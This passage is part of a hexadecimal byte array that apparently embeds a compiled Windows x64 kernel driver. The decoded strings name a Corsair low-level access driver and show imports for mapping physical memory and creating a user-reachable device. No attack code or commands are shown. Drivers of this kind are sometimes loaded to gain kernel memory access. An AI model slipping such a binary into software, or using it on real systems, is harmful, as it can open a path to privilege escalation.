0x63, 0x74, 0x73, 0x5C, 0x43, 0x6F, 0x72, 0x73, + 0x61, 0x69, 0x72, 0x4C, 0x4C, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x44, + 0x72, 0x69, 0x76, 0x65, 0x72, 0x5C, 0x57, 0x6F, 0x72, 0x6B, 0x69, 0x6E, + 0x67, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x5C, 0x4F, + 0x75, 0x74, 0x70, 0x75, 0x74, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61, 0x73, + 0x65, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x43, 0x6F, 0x72, 0x73, 0x61, 0x69, + 0x72, 0x4C, 0x4C, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x36, 0x34, 0x2E, + 0x70, 0x64, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0xF0, 0x0D, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, + 0x00, 0x00, 0x00, 0x00, 0xF0, 0x1D, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, + 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x30, 0x30, 0x00, + 0x40, 0x1E, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, + 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x32, 0x31, 0x00, 0x30, 0x1F, 0x00, 0x00, + 0x5A, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x73, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, 0x66, 0x67, 0x00, 0x00, + 0x10, 0x21, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, + 0x64, 0x73, 0x00, 0x00, 0x40, 0x21, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00, + 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x88, 0x22, 0x00, 0x00, + 0xE8, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, + 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x70, 0x24, 0x00, 0x00, + 0x7C, 0x01, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x00, 0x30, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, + 0x61, 0x00, 0x00, 0x00, 0x40, 0x30, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, + 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0xFC, 0x00, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x00, 0x50, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, + 0x00, 0x00, 0x00, 0x00, 0x90, 0x50, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, + 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, + 0xB8, 0x50, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x33, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x50, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, + 0x00, 0x00, 0x00, 0x00, 0xD0, 0x51, 0x00, 0x00, 0x9C, 0x02, 0x00, 0x00, + 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x60, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, + 0x63, 0x24, 0x30, 0x31, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x60, 0x00, 0x00, + 0x78, 0x03, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x32, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x1D, 0x0E, 0x00, 0x07, 0x16, 0x00, 0x06, + 0x1D, 0x74, 0x0D, 0x00, 0x1D, 0x64, 0x0C, 0x00, 0x1D, 0x54, 0x0B, 0x00, + 0x1D, 0x34, 0x0A, 0x00, 0x1D, 0x52, 0x19, 0xF0, 0x17, 0xE0, 0x15, 0xD0, + 0x02, 0x04, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06, 0x04, 0x42, 0x00, 0x00, + 0x02, 0x19, 0x0C, 0x00, 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x0B, 0x00, + 0x19, 0x64, 0x0A, 0x00, 0x19, 0x54, 0x09, 0x00, 0x19, 0x34, 0x08, 0x00, + 0x19, 0x52, 0x15, 0xF0, 0x02, 0x06, 0x04, 0x00, 0x08, 0x16, 0x00, 0x06, + 0x06, 0x52, 0x02, 0x30, 0x1A, 0x33, 0x0D, 0x00, 0x06, 0x16, 0x00, 0x06, + 0x22, 0x74, 0x5D, 0x00, 0x22, 0x64, 0x5C, 0x00, 0x22, 0x34, 0x5B, 0x00, + 0x22, 0x01, 0x56, 0x00, 0x14, 0xE0, 0x12, 0xC0, 0x10, 0x50, 0x00, 0x00, + 0x68, 0x1D, 0x00, 0x00, 0xA0, 0x02, 0x00, 0x00, 0x02, 0x06, 0x04, 0x00, + 0x08, 0x16, 0x1E, 0x06, 0x06, 0x32, 0x02, 0x30, 0x02, 0x0A, 0x06, 0x00, + 0x02, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x08, 0x00, 0x0A, 0x52, 0x06, 0x70, + 0x02, 0x19, 0x0C, 0x00, 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x0B, 0x00, + 0x19, 0x64, 0x0A, 0x00, 0x19, 0x54, 0x09, 0x00, 0x19, 0x34, 0x08, 0x00, + 0x19, 0x52, 0x15, 0xE0, 0x02, 0x19, 0x0C, 0x00, 0x03, 0x06, 0x08, 0x06, + 0x19, 0x74, 0x09, 0x00, 0x19, 0x64, 0x08, 0x00, 0x19, 0x54, 0x07, 0x00, + 0x19, 0x34, 0x06, 0x00, 0x19, 0x32, 0x15, 0xE0, 0x0A, 0x1D, 0x0A, 0x00, + 0x0C, 0x16, 0x00, 0x06, 0x1D, 0x92, 0x19, 0xF0, 0x17, 0xE0, 0x15, 0xD0, + 0x13, 0xC0, 0x11, 0x70, 0x10, 0x60, 0x0F, 0x30, 0x62, 0x1D, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0xD5, 0x14, 0x00, 0x00, 0x1C, 0x15, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x1C, 0x15, 0x00, 0x00, 0x02, 0x14, 0x0A, 0x00, + 0x02, 0x06, 0x09, 0x06, 0x14, 0x64, 0x0A, 0x00, 0x14, 0x54, 0x09, 0x00, + 0x14, 0x34, 0x08, 0x00, 0x14, 0x52, 0x10, 0x70, 0x0A, 0x00, 0x00, 0x00, + 0x62, 0x1D, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xCD, 0x19, 0x00, 0x00, + 0xE5, 0x19, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE5, 0x19, 0x00, 0x00, + 0x0A, 0x00, 0x00, 0x00, 0x62, 0x1D, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xDB, 0x16, 0x00, 0x00, 0xF2, 0x16, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xF2, 0x16, 0x00, 0x00, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x16, 0x00, 0x06, + 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, + 0x99, 0x2B, 0x00, 0x00, 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xCC, 0x10, 0x00, 0x00, + 0x9C, 0x24, 0x00, 0x00, 0xD0, 0x10, 0x00, 0x00, 0xEF, 0x10, 0x00, 0x00, + 0x90, 0x24, 0x00, 0x00, 0xF0, 0x10, 0x00, 0x00, 0x9B, 0x12, 0x00, 0x00, + 0x70, 0x24, 0x00, 0x00, 0xA0, 0x12, 0x00, 0x00, 0xED, 0x12, 0x00, 0x00, + 0xB8, 0x24, 0x00, 0x00, 0xF0, 0x12, 0x00, 0x00, 0x62, 0x13, 0x00, 0x00, + 0x24, 0x25, 0x00, 0x00, 0x64, 0x13, 0x00, 0x00, 0xE0, 0x13, 0x00, 0x00, + 0xEC, 0x24, 0x00, 0x00, 0xE0, 0x13, 0x00, 0x00, 0x88, 0x16, 0x00, 0x00, + 0x40, 0x25, 0x00, 0x00, 0xC4, 0x16, 0x00, 0x00, 0xF9, 0x16, 0x00, 0x00, + 0xA4, 0x25, 0x00, 0x00, 0xFC, 0x16, 0x00, 0x00, 0x6A, 0x17, 0x00, 0x00, + 0xF8, 0x24, 0x00, 0x00, 0x6C, 0x17, 0x00, 0x00, 0x75, 0x18, 0x00, 0x00, + 0x08, 0x25, 0x00, 0x00, 0xFC, 0x18, 0x00, 0x00, 0xBB, 0x19, 0x00, 0x00, + 0x70, 0x25, 0x00, 0x00, 0xBC, 0x19, 0x00, 0x00, 0xEC, 0x19, 0x00, 0x00, + 0x88, 0x25, 0x00, 0x00, 0xEC, 0x19, 0x00, 0x00, 0x67, 0x1A, 0x00, 0x00, + 0xF8, 0x24, 0x00, 0x00, 0x68, 0x1A, 0x00, 0x00, 0xD1, 0x1C, 0x00, 0x00, + 0xC4, 0x24, 0x00, 0x00, 0xF0, 0x1C, 0x00, 0x00, 0x0E, 0x1D, 0x00, 0x00, + 0xD0, 0x25, 0x00, 0x00, 0x20, 0x1D, 0x00, 0x00, 0x4D, 0x1D, 0x00, 0x00, + 0xD4, 0x25, 0x00, 0x00, 0x68, 0x1D, 0x00, 0x00, 0x85, 0x1D, 0x00, 0x00, + 0x90, 0x24, 0x00, 0x00, 0x88, 0x1D, 0x00, 0x00, 0xE7, 0x1D, 0x00, 0x00, + 0x90, 0x24, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x05, 0x1E, 0x00, 0x00, + 0xE0, 0x25, 0x00, 0x00, 0x40, 0x1E, 0x00, 0x00, 0x29, 0x1F, 0x00, 0x00, + 0xE8, 0x25, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x2B, 0x50, 0x00, 0x00, + 0xC0, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, + 0xDA, 0x48, 0x8B, 0xF9, 0xE8, 0x17, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, + 0x48, 0x8B, 0xCF, 0xE8, 0x48, 0xCA, 0xFF, 0xFF, 0x48, 0x8B, 0x5C, 0x24, + 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x8B, 0x05, 0xCD, + 0xDF, 0xFF, 0xFF, 0x45, 0x33, 0xC9, 0x49, 0xB8, 0x32, 0xA2, 0xDF, 0x2D, + 0x99, 0x2B, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC0, + 0x75, 0x38, 0x0F, 0x31, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8D, 0x0D, 0xA9, + 0xDF, 0xFF, 0xFF, 0x48, 0x0B, 0xC2, 0x48, 0x33, 0xC1, 0x48, 0x89, 0x05, + 0x9C, 0xDF, 0xFF, 0xFF, 0x66, 0x44, 0x89, 0x0D, 0x9A, 0xDF, 0xFF, 0xFF, + 0x48, 0x8B, 0x05, 0x8D, 0xDF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x0A, + 0x49, 0x8B, 0xC0, 0x48, 0x89, 0x05, 0x7E, 0xDF, 0xFF, 0xFF, 0x48, 0xF7, + 0xD0, 0x48, 0x89, 0x05, 0x7C, 0xDF, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 0xCC, + 0xE8, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x26, 0x54, 0x00, 0x00, 0x18, 0x20, 0x00, 0x00, 0xD0, 0x50, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x54, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4C, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x34, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF2, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0x52, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x2E, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x52, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6C, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x8A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAA, 0x52, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xCC, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xEA, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xE8, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x3C, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x5E, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6E, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x96, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xAE, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xD8, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xE4, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x16, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xDC, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xD0, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x0B, 0x77, 0x63, + 0x73, 0x63, 0x70, 0x79, 0x5F, 0x73, 0x00, 0x00, 0x3B, 0x0B, 0x77, 0x63, + 0x73, 0x6E, 0x63, 0x61, 0x74, 0x5F, 0x73, 0x00, 0x3C, 0x0B, 0x77, 0x63, + 0x73, 0x6E, 0x63, 0x6D, 0x70, 0x00, 0xFC, 0x07, 0x52, 0x74, 0x6C, 0x49, + 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x53, 0x74, + 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0xEC, 0x07, 0x52, 0x74, 0x6C, 0x47, + 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x00, 0x1F, 0x04, + 0x4B, 0x65, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, + 0x4D, 0x75, 0x74, 0x65, 0x78, 0x00, 0x7A, 0x04, 0x4B, 0x65, 0x52, 0x65, + 0x6C, 0x65, 0x61, 0x73, 0x65, 0x4D, 0x75, 0x74, 0x65, 0x78, 0x00, 0x00, + 0xC5, 0x04, 0x4B, 0x65, 0x57, 0x61, 0x69, 0x74, 0x46, 0x6F, 0x72, 0x53, + 0x69, 0x6E, 0x67, 0x6C, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, + 0xEC, 0x00, 0x45, 0x78, 0x51, 0x75, 0x65, 0x72, 0x79, 0x44, 0x65, 0x70, + 0x74, 0x68, 0x53, 0x4C, 0x69, 0x73, 0x74, 0x00, 0x53, 0x01, 0x45, 0x78, + 0x70, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6C, 0x6F, 0x63, 0x6B, 0x65, 0x64, + 0x50, 0x6F, 0x70, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x53, 0x4C, 0x69, 0x73, + 0x74, 0x00, 0x54, 0x01, 0x45, 0x78, 0x70, 0x49, 0x6E, 0x74, 0x65, 0x72, + 0x6C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x75, 0x73, 0x68, 0x45, 0x6E, + 0x74, 0x72, 0x79, 0x53, 0x4C, 0x69, 0x73, 0x74, 0x00, 0x00, 0xD1, 0x00, + 0x45, 0x78, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, + 0x4E, 0x50, 0x61, 0x67, 0x65, 0x64, 0x4C, 0x6F, 0x6F, 0x6B, 0x61, 0x73, + 0x69, 0x64, 0x65, 0x4C, 0x69, 0x73, 0x74, 0x00, 0xAC, 0x00, 0x45, 0x78, + 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x4E, 0x50, 0x61, 0x67, 0x65, 0x64, + 0x4C, 0x6F, 0x6F, 0x6B, 0x61, 0x73, 0x69, 0x64, 0x65, 0x4C, 0x69, 0x73, + 0x74, 0x00, 0xF9, 0x04, 0x4D, 0x6D, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x4D, + 0x64, 0x6C, 0x46, 0x6F, 0x72, 0x4E, 0x6F, 0x6E, 0x50, 0x61, 0x67, 0x65, + 0x64, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x28, 0x05, 0x4D, 0x6D, 0x4D, 0x61, + 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, + 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x79, 0x43, 0x61, 0x63, 0x68, 0x65, + 0x00, 0x00, 0x52, 0x05, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x4C, + 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, + 0x25, 0x05, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, + 0x63, 0x65, 0x00, 0x00, 0x51, 0x05, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, + 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x6B, 0x02, + 0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, + 0x6C, 0x00, 0xAA, 0x03, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, + 0x93, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, + 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x9E, 0x02, 0x49, 0x6F, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, + 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0xAA, 0x02, 0x49, 0x6F, 0x44, 0x65, + 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, + 0xAC, 0x02, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, + 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, + 0xBF, 